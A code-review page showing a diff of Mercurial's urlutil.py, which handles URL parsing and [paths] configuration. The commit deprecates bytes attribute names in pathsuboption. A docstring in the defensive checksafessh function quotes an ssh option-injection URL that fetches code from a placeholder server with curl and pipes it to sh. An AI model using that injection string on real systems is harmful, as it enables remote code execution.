##// END OF EJS Templates
path-suboption: deprecated specifying the attributes as bytes...
marmoute -
r51802:35885dbd default
parent child Browse files
Show More
@@ -1,980 +1,985 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 util,
21 22 )
22 23
23 24 from . import (
24 25 stringutil,
25 26 )
26 27
27 28 from ..revlogutils import (
28 29 constants as revlog_constants,
29 30 )
30 31
31 32
32 33 if pycompat.TYPE_CHECKING:
33 34 from typing import (
34 35 Union,
35 36 )
36 37
37 38 urlreq = urllibcompat.urlreq
38 39
39 40
40 41 def getport(port):
41 42 # type: (Union[bytes, int]) -> int
42 43 """Return the port for a given network service.
43 44
44 45 If port is an integer, it's returned as is. If it's a string, it's
45 46 looked up using socket.getservbyname(). If there's no matching
46 47 service, error.Abort is raised.
47 48 """
48 49 try:
49 50 return int(port)
50 51 except ValueError:
51 52 pass
52 53
53 54 try:
54 55 return socket.getservbyname(pycompat.sysstr(port))
55 56 except socket.error:
56 57 raise error.Abort(
57 58 _(b"no port number associated with service '%s'") % port
58 59 )
59 60
60 61
61 62 class url:
62 63 r"""Reliable URL parser.
63 64
64 65 This parses URLs and provides attributes for the following
65 66 components:
66 67
67 68 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
68 69
69 70 Missing components are set to None. The only exception is
70 71 fragment, which is set to '' if present but empty.
71 72
72 73 If parsefragment is False, fragment is included in query. If
73 74 parsequery is False, query is included in path. If both are
74 75 False, both fragment and query are included in path.
75 76
76 77 See http://www.ietf.org/rfc/rfc2396.txt for more information.
77 78
78 79 Note that for backward compatibility reasons, bundle URLs do not
79 80 take host names. That means 'bundle://../' has a path of '../'.
80 81
81 82 Examples:
82 83
83 84 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
84 85 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
85 86 >>> url(b'ssh://[::1]:2200//home/joe/repo')
86 87 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
87 88 >>> url(b'file:///home/joe/repo')
88 89 <url scheme: 'file', path: '/home/joe/repo'>
89 90 >>> url(b'file:///c:/temp/foo/')
90 91 <url scheme: 'file', path: 'c:/temp/foo/'>
91 92 >>> url(b'bundle:foo')
92 93 <url scheme: 'bundle', path: 'foo'>
93 94 >>> url(b'bundle://../foo')
94 95 <url scheme: 'bundle', path: '../foo'>
95 96 >>> url(br'c:\foo\bar')
96 97 <url path: 'c:\\foo\\bar'>
97 98 >>> url(br'\\blah\blah\blah')
98 99 <url path: '\\\\blah\\blah\\blah'>
99 100 >>> url(br'\\blah\blah\blah#baz')
100 101 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
101 102 >>> url(br'file:///C:\users\me')
102 103 <url scheme: 'file', path: 'C:\\users\\me'>
103 104
104 105 Authentication credentials:
105 106
106 107 >>> url(b'ssh://joe:xyz@x/repo')
107 108 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
108 109 >>> url(b'ssh://joe@x/repo')
109 110 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
110 111
111 112 Query strings and fragments:
112 113
113 114 >>> url(b'http://host/a?b#c')
114 115 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
115 116 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
116 117 <url scheme: 'http', host: 'host', path: 'a?b#c'>
117 118
118 119 Empty path:
119 120
120 121 >>> url(b'')
121 122 <url path: ''>
122 123 >>> url(b'#a')
123 124 <url path: '', fragment: 'a'>
124 125 >>> url(b'http://host/')
125 126 <url scheme: 'http', host: 'host', path: ''>
126 127 >>> url(b'http://host/#a')
127 128 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
128 129
129 130 Only scheme:
130 131
131 132 >>> url(b'http:')
132 133 <url scheme: 'http'>
133 134 """
134 135
135 136 _safechars = b"!~*'()+"
136 137 _safepchars = b"/!~*'()+:\\"
137 138 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
138 139
139 140 def __init__(self, path, parsequery=True, parsefragment=True):
140 141 # type: (bytes, bool, bool) -> None
141 142 # We slowly chomp away at path until we have only the path left
142 143 self.scheme = self.user = self.passwd = self.host = None
143 144 self.port = self.path = self.query = self.fragment = None
144 145 self._localpath = True
145 146 self._hostport = b''
146 147 self._origpath = path
147 148
148 149 if parsefragment and b'#' in path:
149 150 path, self.fragment = path.split(b'#', 1)
150 151
151 152 # special case for Windows drive letters and UNC paths
152 153 if hasdriveletter(path) or path.startswith(b'\\\\'):
153 154 self.path = path
154 155 return
155 156
156 157 # For compatibility reasons, we can't handle bundle paths as
157 158 # normal URLS
158 159 if path.startswith(b'bundle:'):
159 160 self.scheme = b'bundle'
160 161 path = path[7:]
161 162 if path.startswith(b'//'):
162 163 path = path[2:]
163 164 self.path = path
164 165 return
165 166
166 167 if self._matchscheme(path):
167 168 parts = path.split(b':', 1)
168 169 if parts[0]:
169 170 self.scheme, path = parts
170 171 self._localpath = False
171 172
172 173 if not path:
173 174 path = None
174 175 if self._localpath:
175 176 self.path = b''
176 177 return
177 178 else:
178 179 if self._localpath:
179 180 self.path = path
180 181 return
181 182
182 183 if parsequery and b'?' in path:
183 184 path, self.query = path.split(b'?', 1)
184 185 if not path:
185 186 path = None
186 187 if not self.query:
187 188 self.query = None
188 189
189 190 # // is required to specify a host/authority
190 191 if path and path.startswith(b'//'):
191 192 parts = path[2:].split(b'/', 1)
192 193 if len(parts) > 1:
193 194 self.host, path = parts
194 195 else:
195 196 self.host = parts[0]
196 197 path = None
197 198 if not self.host:
198 199 self.host = None
199 200 # path of file:///d is /d
200 201 # path of file:///d:/ is d:/, not /d:/
201 202 if path and not hasdriveletter(path):
202 203 path = b'/' + path
203 204
204 205 if self.host and b'@' in self.host:
205 206 self.user, self.host = self.host.rsplit(b'@', 1)
206 207 if b':' in self.user:
207 208 self.user, self.passwd = self.user.split(b':', 1)
208 209 if not self.host:
209 210 self.host = None
210 211
211 212 # Don't split on colons in IPv6 addresses without ports
212 213 if (
213 214 self.host
214 215 and b':' in self.host
215 216 and not (
216 217 self.host.startswith(b'[') and self.host.endswith(b']')
217 218 )
218 219 ):
219 220 self._hostport = self.host
220 221 self.host, self.port = self.host.rsplit(b':', 1)
221 222 if not self.host:
222 223 self.host = None
223 224
224 225 if (
225 226 self.host
226 227 and self.scheme == b'file'
227 228 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
228 229 ):
229 230 raise error.Abort(
230 231 _(b'file:// URLs can only refer to localhost')
231 232 )
232 233
233 234 self.path = path
234 235
235 236 # leave the query string escaped
236 237 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
237 238 v = getattr(self, a)
238 239 if v is not None:
239 240 setattr(self, a, urlreq.unquote(v))
240 241
241 242 def copy(self):
242 243 u = url(b'temporary useless value')
243 244 u.path = self.path
244 245 u.scheme = self.scheme
245 246 u.user = self.user
246 247 u.passwd = self.passwd
247 248 u.host = self.host
248 249 u.port = self.port
249 250 u.query = self.query
250 251 u.fragment = self.fragment
251 252 u._localpath = self._localpath
252 253 u._hostport = self._hostport
253 254 u._origpath = self._origpath
254 255 return u
255 256
256 257 @encoding.strmethod
257 258 def __repr__(self):
258 259 attrs = []
259 260 for a in (
260 261 'scheme',
261 262 'user',
262 263 'passwd',
263 264 'host',
264 265 'port',
265 266 'path',
266 267 'query',
267 268 'fragment',
268 269 ):
269 270 v = getattr(self, a)
270 271 if v is not None:
271 272 line = b'%s: %r'
272 273 line %= (pycompat.bytestr(a), pycompat.bytestr(v))
273 274 attrs.append(line)
274 275 return b'<url %s>' % b', '.join(attrs)
275 276
276 277 def __bytes__(self):
277 278 r"""Join the URL's components back into a URL string.
278 279
279 280 Examples:
280 281
281 282 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
282 283 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
283 284 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
284 285 'http://user:pw@host:80/?foo=bar&baz=42'
285 286 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
286 287 'http://user:pw@host:80/?foo=bar%3dbaz'
287 288 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
288 289 'ssh://user:pw@[::1]:2200//home/joe#'
289 290 >>> bytes(url(b'http://localhost:80//'))
290 291 'http://localhost:80//'
291 292 >>> bytes(url(b'http://localhost:80/'))
292 293 'http://localhost:80/'
293 294 >>> bytes(url(b'http://localhost:80'))
294 295 'http://localhost:80/'
295 296 >>> bytes(url(b'bundle:foo'))
296 297 'bundle:foo'
297 298 >>> bytes(url(b'bundle://../foo'))
298 299 'bundle:../foo'
299 300 >>> bytes(url(b'path'))
300 301 'path'
301 302 >>> bytes(url(b'file:///tmp/foo/bar'))
302 303 'file:///tmp/foo/bar'
303 304 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
304 305 'file:///c:/tmp/foo/bar'
305 306 >>> print(url(br'bundle:foo\bar'))
306 307 bundle:foo\bar
307 308 >>> print(url(br'file:///D:\data\hg'))
308 309 file:///D:\data\hg
309 310 """
310 311 if self._localpath:
311 312 s = self.path
312 313 if self.scheme == b'bundle':
313 314 s = b'bundle:' + s
314 315 if self.fragment:
315 316 s += b'#' + self.fragment
316 317 return s
317 318
318 319 s = self.scheme + b':'
319 320 if self.user or self.passwd or self.host:
320 321 s += b'//'
321 322 elif self.scheme and (
322 323 not self.path
323 324 or self.path.startswith(b'/')
324 325 or hasdriveletter(self.path)
325 326 ):
326 327 s += b'//'
327 328 if hasdriveletter(self.path):
328 329 s += b'/'
329 330 if self.user:
330 331 s += urlreq.quote(self.user, safe=self._safechars)
331 332 if self.passwd:
332 333 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
333 334 if self.user or self.passwd:
334 335 s += b'@'
335 336 if self.host:
336 337 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
337 338 s += urlreq.quote(self.host)
338 339 else:
339 340 s += self.host
340 341 if self.port:
341 342 s += b':' + urlreq.quote(self.port)
342 343 if self.host:
343 344 s += b'/'
344 345 if self.path:
345 346 # TODO: similar to the query string, we should not unescape the
346 347 # path when we store it, the path might contain '%2f' = '/',
347 348 # which we should *not* escape.
348 349 s += urlreq.quote(self.path, safe=self._safepchars)
349 350 if self.query:
350 351 # we store the query in escaped form.
351 352 s += b'?' + self.query
352 353 if self.fragment is not None:
353 354 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
354 355 return s
355 356
356 357 __str__ = encoding.strmethod(__bytes__)
357 358
358 359 def authinfo(self):
359 360 user, passwd = self.user, self.passwd
360 361 try:
361 362 self.user, self.passwd = None, None
362 363 s = bytes(self)
363 364 finally:
364 365 self.user, self.passwd = user, passwd
365 366 if not self.user:
366 367 return (s, None)
367 368 # authinfo[1] is passed to urllib2 password manager, and its
368 369 # URIs must not contain credentials. The host is passed in the
369 370 # URIs list because Python < 2.4.3 uses only that to search for
370 371 # a password.
371 372 return (s, (None, (s, self.host), self.user, self.passwd or b''))
372 373
373 374 def isabs(self):
374 375 if self.scheme and self.scheme != b'file':
375 376 return True # remote URL
376 377 if hasdriveletter(self.path):
377 378 return True # absolute for our purposes - can't be joined()
378 379 if self.path.startswith(br'\\'):
379 380 return True # Windows UNC path
380 381 if self.path.startswith(b'/'):
381 382 return True # POSIX-style
382 383 return False
383 384
384 385 def localpath(self):
385 386 # type: () -> bytes
386 387 if self.scheme == b'file' or self.scheme == b'bundle':
387 388 path = self.path or b'/'
388 389 # For Windows, we need to promote hosts containing drive
389 390 # letters to paths with drive letters.
390 391 if hasdriveletter(self._hostport):
391 392 path = self._hostport + b'/' + self.path
392 393 elif (
393 394 self.host is not None and self.path and not hasdriveletter(path)
394 395 ):
395 396 path = b'/' + path
396 397 return path
397 398 return self._origpath
398 399
399 400 def islocal(self):
400 401 '''whether localpath will return something that posixfile can open'''
401 402 return (
402 403 not self.scheme
403 404 or self.scheme == b'file'
404 405 or self.scheme == b'bundle'
405 406 )
406 407
407 408
408 409 def hasscheme(path):
409 410 # type: (bytes) -> bool
410 411 return bool(url(path).scheme) # cast to help pytype
411 412
412 413
413 414 def hasdriveletter(path):
414 415 # type: (bytes) -> bool
415 416 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
416 417
417 418
418 419 def urllocalpath(path):
419 420 # type: (bytes) -> bytes
420 421 return url(path, parsequery=False, parsefragment=False).localpath()
421 422
422 423
423 424 def checksafessh(path):
424 425 # type: (bytes) -> None
425 426 """check if a path / url is a potentially unsafe ssh exploit (SEC)
426 427
427 428 This is a sanity check for ssh urls. ssh will parse the first item as
428 429 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
429 430 Let's prevent these potentially exploited urls entirely and warn the
430 431 user.
431 432
432 433 Raises an error.Abort when the url is unsafe.
433 434 """
434 435 path = urlreq.unquote(path)
435 436 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
436 437 raise error.Abort(
437 438 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
438 439 )
439 440
440 441
441 442 def hidepassword(u):
442 443 # type: (bytes) -> bytes
443 444 '''hide user credential in a url string'''
444 445 u = url(u)
445 446 if u.passwd:
446 447 u.passwd = b'***'
447 448 return bytes(u)
448 449
449 450
450 451 def removeauth(u):
451 452 # type: (bytes) -> bytes
452 453 '''remove all authentication information from a url string'''
453 454 u = url(u)
454 455 u.user = u.passwd = None
455 456 return bytes(u)
456 457
457 458
458 459 def list_paths(ui, target_path=None):
459 460 """list all the (name, paths) in the passed ui"""
460 461 result = []
461 462 if target_path is None:
462 463 for name, paths in sorted(ui.paths.items()):
463 464 for p in paths:
464 465 result.append((name, p))
465 466
466 467 else:
467 468 for path in ui.paths.get(target_path, []):
468 469 result.append((target_path, path))
469 470 return result
470 471
471 472
472 473 def try_path(ui, url):
473 474 """try to build a path from a url
474 475
475 476 Return None if no Path could built.
476 477 """
477 478 try:
478 479 # we pass the ui instance are warning might need to be issued
479 480 return path(ui, None, rawloc=url)
480 481 except ValueError:
481 482 return None
482 483
483 484
484 485 def get_push_paths(repo, ui, dests):
485 486 """yields all the `path` selected as push destination by `dests`"""
486 487 if not dests:
487 488 if b'default-push' in ui.paths:
488 489 for p in ui.paths[b'default-push']:
489 490 yield p.get_push_variant()
490 491 elif b'default' in ui.paths:
491 492 for p in ui.paths[b'default']:
492 493 yield p.get_push_variant()
493 494 else:
494 495 raise error.ConfigError(
495 496 _(b'default repository not configured!'),
496 497 hint=_(b"see 'hg help config.paths'"),
497 498 )
498 499 else:
499 500 for dest in dests:
500 501 if dest in ui.paths:
501 502 for p in ui.paths[dest]:
502 503 yield p.get_push_variant()
503 504 else:
504 505 path = try_path(ui, dest)
505 506 if path is None:
506 507 msg = _(b'repository %s does not exist')
507 508 msg %= dest
508 509 raise error.RepoError(msg)
509 510 yield path.get_push_variant()
510 511
511 512
512 513 def get_pull_paths(repo, ui, sources):
513 514 """yields all the `(path, branch)` selected as pull source by `sources`"""
514 515 if not sources:
515 516 sources = [b'default']
516 517 for source in sources:
517 518 if source in ui.paths:
518 519 for p in ui.paths[source]:
519 520 yield p
520 521 else:
521 522 p = path(ui, None, source, validate_path=False)
522 523 yield p
523 524
524 525
525 526 def get_unique_push_path(action, repo, ui, dest=None):
526 527 """return a unique `path` or abort if multiple are found
527 528
528 529 This is useful for command and action that does not support multiple
529 530 destination (yet).
530 531
531 532 The `action` parameter will be used for the error message.
532 533 """
533 534 if dest is None:
534 535 dests = []
535 536 else:
536 537 dests = [dest]
537 538 dests = list(get_push_paths(repo, ui, dests))
538 539 if len(dests) != 1:
539 540 if dest is None:
540 541 msg = _(
541 542 b"default path points to %d urls while %s only supports one"
542 543 )
543 544 msg %= (len(dests), action)
544 545 else:
545 546 msg = _(b"path points to %d urls while %s only supports one: %s")
546 547 msg %= (len(dests), action, dest)
547 548 raise error.Abort(msg)
548 549 return dests[0]
549 550
550 551
551 552 def get_unique_pull_path_obj(action, ui, source=None):
552 553 """return a unique `(path, branch)` or abort if multiple are found
553 554
554 555 This is useful for command and action that does not support multiple
555 556 destination (yet).
556 557
557 558 The `action` parameter will be used for the error message.
558 559
559 560 note: Ideally, this function would be called `get_unique_pull_path` to
560 561 mirror the `get_unique_push_path`, but the name was already taken.
561 562 """
562 563 sources = []
563 564 if source is not None:
564 565 sources.append(source)
565 566
566 567 pull_paths = list(get_pull_paths(None, ui, sources=sources))
567 568 path_count = len(pull_paths)
568 569 if path_count != 1:
569 570 if source is None:
570 571 msg = _(
571 572 b"default path points to %d urls while %s only supports one"
572 573 )
573 574 msg %= (path_count, action)
574 575 else:
575 576 msg = _(b"path points to %d urls while %s only supports one: %s")
576 577 msg %= (path_count, action, source)
577 578 raise error.Abort(msg)
578 579 return pull_paths[0]
579 580
580 581
581 582 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
582 583 """return a unique `(url, branch)` or abort if multiple are found
583 584
584 585 See `get_unique_pull_path_obj` for details.
585 586 """
586 587 path = get_unique_pull_path_obj(action, ui, source=source)
587 588 return parseurl(path.rawloc, default_branches)
588 589
589 590
590 591 def get_clone_path_obj(ui, source):
591 592 """return the `(origsource, url, branch)` selected as clone source"""
592 593 if source == b'':
593 594 return None
594 595 return get_unique_pull_path_obj(b'clone', ui, source=source)
595 596
596 597
597 598 def get_clone_path(ui, source, default_branches=None):
598 599 """return the `(origsource, url, branch)` selected as clone source"""
599 600 path = get_clone_path_obj(ui, source)
600 601 if path is None:
601 602 return (b'', b'', (None, default_branches))
602 603 if default_branches is None:
603 604 default_branches = []
604 605 branches = (path.branch, default_branches)
605 606 return path.rawloc, path.loc, branches
606 607
607 608
608 609 def parseurl(path, branches=None):
609 610 '''parse url#branch, returning (url, (branch, branches))'''
610 611 u = url(path)
611 612 branch = None
612 613 if u.fragment:
613 614 branch = u.fragment
614 615 u.fragment = None
615 616 return bytes(u), (branch, branches or [])
616 617
617 618
618 619 class paths(dict):
619 620 """Represents a collection of paths and their configs.
620 621
621 622 Data is initially derived from ui instances and the config files they have
622 623 loaded.
623 624 """
624 625
625 626 def __init__(self, ui):
626 627 dict.__init__(self)
627 628
628 629 home_path = os.path.expanduser(b'~')
629 630
630 631 for name, value in ui.configitems(b'paths', ignoresub=True):
631 632 # No location is the same as not existing.
632 633 if not value:
633 634 continue
634 635 _value, sub_opts = ui.configsuboptions(b'paths', name)
635 636 s = ui.configsource(b'paths', name)
636 637 root_key = (name, value, s)
637 638 root = ui._path_to_root.get(root_key, home_path)
638 639
639 640 multi_url = sub_opts.get(b'multi-urls')
640 641 if multi_url is not None and stringutil.parsebool(multi_url):
641 642 base_locs = stringutil.parselist(value)
642 643 else:
643 644 base_locs = [value]
644 645
645 646 paths = []
646 647 for loc in base_locs:
647 648 loc = os.path.expandvars(loc)
648 649 loc = os.path.expanduser(loc)
649 650 if not hasscheme(loc) and not os.path.isabs(loc):
650 651 loc = os.path.normpath(os.path.join(root, loc))
651 652 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
652 653 paths.append(p)
653 654 self[name] = paths
654 655
655 656 for name, old_paths in sorted(self.items()):
656 657 new_paths = []
657 658 for p in old_paths:
658 659 new_paths.extend(_chain_path(p, ui, self))
659 660 self[name] = new_paths
660 661
661 662
662 663 _pathsuboptions = {}
663 664 # a dictionnary of methods that can be used to format a sub-option value
664 665 path_suboptions_display = {}
665 666
666 667
667 668 def pathsuboption(option, attr, display=pycompat.bytestr):
668 669 """Decorator used to declare a path sub-option.
669 670
670 671 Arguments are the sub-option name and the attribute it should set on
671 672 ``path`` instances.
672 673
673 674 The decorated function will receive as arguments a ``ui`` instance,
674 675 ``path`` instance, and the string value of this option from the config.
675 676 The function should return the value that will be set on the ``path``
676 677 instance.
677 678
678 679 The optional `display` argument is a function that can be used to format
679 680 the value when displayed to the user (like in `hg paths` for example).
680 681
681 682 This decorator can be used to perform additional verification of
682 683 sub-options and to change the type of sub-options.
683 684 """
685 if isinstance(attr, bytes):
686 msg = b'pathsuboption take `str` as "attr" argument, not `bytes`'
687 util.nouideprecwarn(msg, b"6.6", stacklevel=2)
688 attr = attr.decode('ascii')
684 689
685 690 def register(func):
686 691 _pathsuboptions[option] = (attr, func)
687 692 path_suboptions_display[option] = display
688 693 return func
689 694
690 695 return register
691 696
692 697
693 698 def display_bool(value):
694 699 """display a boolean suboption back to the user"""
695 700 return b'yes' if value else b'no'
696 701
697 702
698 703 @pathsuboption(b'pushurl', '_pushloc')
699 704 def pushurlpathoption(ui, path, value):
700 705 u = url(value)
701 706 # Actually require a URL.
702 707 if not u.scheme:
703 708 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
704 709 msg %= (path.name, value)
705 710 ui.warn(msg)
706 711 return None
707 712
708 713 # Don't support the #foo syntax in the push URL to declare branch to
709 714 # push.
710 715 if u.fragment:
711 716 ui.warn(
712 717 _(
713 718 b'("#fragment" in paths.%s:pushurl not supported; '
714 719 b'ignoring)\n'
715 720 )
716 721 % path.name
717 722 )
718 723 u.fragment = None
719 724
720 725 return bytes(u)
721 726
722 727
723 728 @pathsuboption(b'pushrev', 'pushrev')
724 729 def pushrevpathoption(ui, path, value):
725 730 return value
726 731
727 732
728 733 SUPPORTED_BOOKMARKS_MODES = {
729 734 b'default',
730 735 b'mirror',
731 736 b'ignore',
732 737 }
733 738
734 739
735 740 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode')
736 741 def bookmarks_mode_option(ui, path, value):
737 742 if value not in SUPPORTED_BOOKMARKS_MODES:
738 743 path_name = path.name
739 744 if path_name is None:
740 745 # this is an "anonymous" path, config comes from the global one
741 746 path_name = b'*'
742 747 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
743 748 msg %= (path_name, value)
744 749 ui.warn(msg)
745 750 if value == b'default':
746 751 value = None
747 752 return value
748 753
749 754
750 755 DELTA_REUSE_POLICIES = {
751 756 b'default': None,
752 757 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
753 758 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
754 759 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
755 760 }
756 761 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items())
757 762
758 763
759 764 @pathsuboption(
760 765 b'pulled-delta-reuse-policy',
761 766 'delta_reuse_policy',
762 767 display=DELTA_REUSE_POLICIES_NAME.get,
763 768 )
764 769 def delta_reuse_policy(ui, path, value):
765 770 if value not in DELTA_REUSE_POLICIES:
766 771 path_name = path.name
767 772 if path_name is None:
768 773 # this is an "anonymous" path, config comes from the global one
769 774 path_name = b'*'
770 775 msg = _(
771 776 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
772 777 )
773 778 msg %= (path_name, value)
774 779 ui.warn(msg)
775 780 return DELTA_REUSE_POLICIES.get(value)
776 781
777 782
778 783 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool)
779 784 def multiurls_pathoption(ui, path, value):
780 785 res = stringutil.parsebool(value)
781 786 if res is None:
782 787 ui.warn(
783 788 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
784 789 )
785 790 res = False
786 791 return res
787 792
788 793
789 794 def _chain_path(base_path, ui, paths):
790 795 """return the result of "path://" logic applied on a given path"""
791 796 new_paths = []
792 797 if base_path.url.scheme != b'path':
793 798 new_paths.append(base_path)
794 799 else:
795 800 assert base_path.url.path is None
796 801 sub_paths = paths.get(base_path.url.host)
797 802 if sub_paths is None:
798 803 m = _(b'cannot use `%s`, "%s" is not a known path')
799 804 m %= (base_path.rawloc, base_path.url.host)
800 805 raise error.Abort(m)
801 806 for subpath in sub_paths:
802 807 path = base_path.copy()
803 808 if subpath.raw_url.scheme == b'path':
804 809 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
805 810 m %= (path.rawloc, path.url.host)
806 811 raise error.Abort(m)
807 812 path.url = subpath.url
808 813 path.rawloc = subpath.rawloc
809 814 path.loc = subpath.loc
810 815 if path.branch is None:
811 816 path.branch = subpath.branch
812 817 else:
813 818 base = path.rawloc.rsplit(b'#', 1)[0]
814 819 path.rawloc = b'%s#%s' % (base, path.branch)
815 820 suboptions = subpath._all_sub_opts.copy()
816 821 suboptions.update(path._own_sub_opts)
817 822 path._apply_suboptions(ui, suboptions)
818 823 new_paths.append(path)
819 824 return new_paths
820 825
821 826
822 827 class path:
823 828 """Represents an individual path and its configuration."""
824 829
825 830 def __init__(
826 831 self,
827 832 ui=None,
828 833 name=None,
829 834 rawloc=None,
830 835 suboptions=None,
831 836 validate_path=True,
832 837 ):
833 838 """Construct a path from its config options.
834 839
835 840 ``ui`` is the ``ui`` instance the path is coming from.
836 841 ``name`` is the symbolic name of the path.
837 842 ``rawloc`` is the raw location, as defined in the config.
838 843 ``_pushloc`` is the raw locations pushes should be made to.
839 844 (see the `get_push_variant` method)
840 845
841 846 If ``name`` is not defined, we require that the location be a) a local
842 847 filesystem path with a .hg directory or b) a URL. If not,
843 848 ``ValueError`` is raised.
844 849 """
845 850 if ui is None:
846 851 # used in copy
847 852 assert name is None
848 853 assert rawloc is None
849 854 assert suboptions is None
850 855 return
851 856
852 857 if not rawloc:
853 858 raise ValueError(b'rawloc must be defined')
854 859
855 860 self.name = name
856 861
857 862 # set by path variant to point to their "non-push" version
858 863 self.main_path = None
859 864 self._setup_url(rawloc)
860 865
861 866 if validate_path:
862 867 self._validate_path()
863 868
864 869 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
865 870 self._own_sub_opts = {}
866 871 if suboptions is not None:
867 872 self._own_sub_opts = suboptions.copy()
868 873 sub_opts.update(suboptions)
869 874 self._all_sub_opts = sub_opts.copy()
870 875
871 876 self._apply_suboptions(ui, sub_opts)
872 877
873 878 def _setup_url(self, rawloc):
874 879 # Locations may define branches via syntax <base>#<branch>.
875 880 u = url(rawloc)
876 881 branch = None
877 882 if u.fragment:
878 883 branch = u.fragment
879 884 u.fragment = None
880 885
881 886 self.url = u
882 887 # the url from the config/command line before dealing with `path://`
883 888 self.raw_url = u.copy()
884 889 self.branch = branch
885 890
886 891 self.rawloc = rawloc
887 892 self.loc = b'%s' % u
888 893
889 894 def copy(self, new_raw_location=None):
890 895 """make a copy of this path object
891 896
892 897 When `new_raw_location` is set, the new path will point to it.
893 898 This is used by the scheme extension so expand the scheme.
894 899 """
895 900 new = self.__class__()
896 901 for k, v in self.__dict__.items():
897 902 new_copy = getattr(v, 'copy', None)
898 903 if new_copy is not None:
899 904 v = new_copy()
900 905 new.__dict__[k] = v
901 906 if new_raw_location is not None:
902 907 new._setup_url(new_raw_location)
903 908 return new
904 909
905 910 @property
906 911 def is_push_variant(self):
907 912 """is this a path variant to be used for pushing"""
908 913 return self.main_path is not None
909 914
910 915 def get_push_variant(self):
911 916 """get a "copy" of the path, but suitable for pushing
912 917
913 918 This means using the value of the `pushurl` option (if any) as the url.
914 919
915 920 The original path is available in the `main_path` attribute.
916 921 """
917 922 if self.main_path:
918 923 return self
919 924 new = self.copy()
920 925 new.main_path = self
921 926 if self._pushloc:
922 927 new._setup_url(self._pushloc)
923 928 return new
924 929
925 930 def pushloc(self):
926 931 """compatibility layer for the deprecated attributes"""
927 932 from .. import util # avoid a cycle
928 933
929 934 msg = "don't use path.pushloc, use path.get_push_variant()"
930 935 util.nouideprecwarn(msg, b"6.5")
931 936 return self._pushloc
932 937
933 938 def _validate_path(self):
934 939 # When given a raw location but not a symbolic name, validate the
935 940 # location is valid.
936 941 if (
937 942 not self.name
938 943 and not self.url.scheme
939 944 and not self._isvalidlocalpath(self.loc)
940 945 ):
941 946 raise ValueError(
942 947 b'location is not a URL or path to a local '
943 948 b'repo: %s' % self.rawloc
944 949 )
945 950
946 951 def _apply_suboptions(self, ui, sub_options):
947 952 # Now process the sub-options. If a sub-option is registered, its
948 953 # attribute will always be present. The value will be None if there
949 954 # was no valid sub-option.
950 955 for suboption, (attr, func) in _pathsuboptions.items():
951 956 if suboption not in sub_options:
952 957 setattr(self, attr, None)
953 958 continue
954 959
955 960 value = func(ui, self, sub_options[suboption])
956 961 setattr(self, attr, value)
957 962
958 963 def _isvalidlocalpath(self, path):
959 964 """Returns True if the given path is a potentially valid repository.
960 965 This is its own function so that extensions can change the definition of
961 966 'valid' in this case (like when pulling from a git repo into a hg
962 967 one)."""
963 968 try:
964 969 return os.path.isdir(os.path.join(path, b'.hg'))
965 970 # Python 2 may return TypeError. Python 3, ValueError.
966 971 except (TypeError, ValueError):
967 972 return False
968 973
969 974 @property
970 975 def suboptions(self):
971 976 """Return sub-options and their values for this path.
972 977
973 978 This is intended to be used for presentation purposes.
974 979 """
975 980 d = {}
976 981 for subopt, (attr, _func) in _pathsuboptions.items():
977 982 value = getattr(self, attr)
978 983 if value is not None:
979 984 d[subopt] = value
980 985 return d
General Comments 0
You need to be logged in to leave comments. Login now